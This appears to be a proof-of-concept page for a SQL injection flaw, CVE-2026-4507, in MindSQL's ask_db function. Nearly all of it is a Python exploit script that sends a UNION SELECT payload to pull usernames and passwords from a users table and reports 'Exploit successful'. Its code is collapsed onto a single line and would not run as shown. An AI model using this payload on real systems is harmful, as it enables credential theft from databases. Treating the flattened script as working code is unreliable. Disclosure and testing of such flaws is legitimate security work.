CVE-2026-4507 MindSQL SQL注入漏洞

import sys sys.path.insert(0, '/path/to/mindsql') from mindsql.core.mindsql_core import MindSQLCore def check_vulnerability(): """ PoC for CVE-2026-4507: SQL Injection in MindSQL ask_db function. This demonstrates how unsanitized input in the 'ask_db' function can lead to SQL injection. """ # Initialize the core module (simulation) core = MindSQLCore() # Normal input benign_query = "SELECT * FROM users WHERE id = 1" print(f"[*] Sending benign query: {benign_query}") # core.ask_db(benign_query) # Malicious payload demonstrating SQL Injection # The vulnerability allows appending SQL commands malicious_payload = "1' UNION SELECT NULL, username, password FROM users -- " print(f"[*] Sending malicious payload: {malicious_payload}") try: # Trigger the vulnerability in ask_db result = core.ask_db(malicious_payload) print("[+] Exploit successful! Data returned:") print(result) except Exception as e: print(f"[-] Error occurred: {e}") if __name__ == "__main__": check_vulnerability()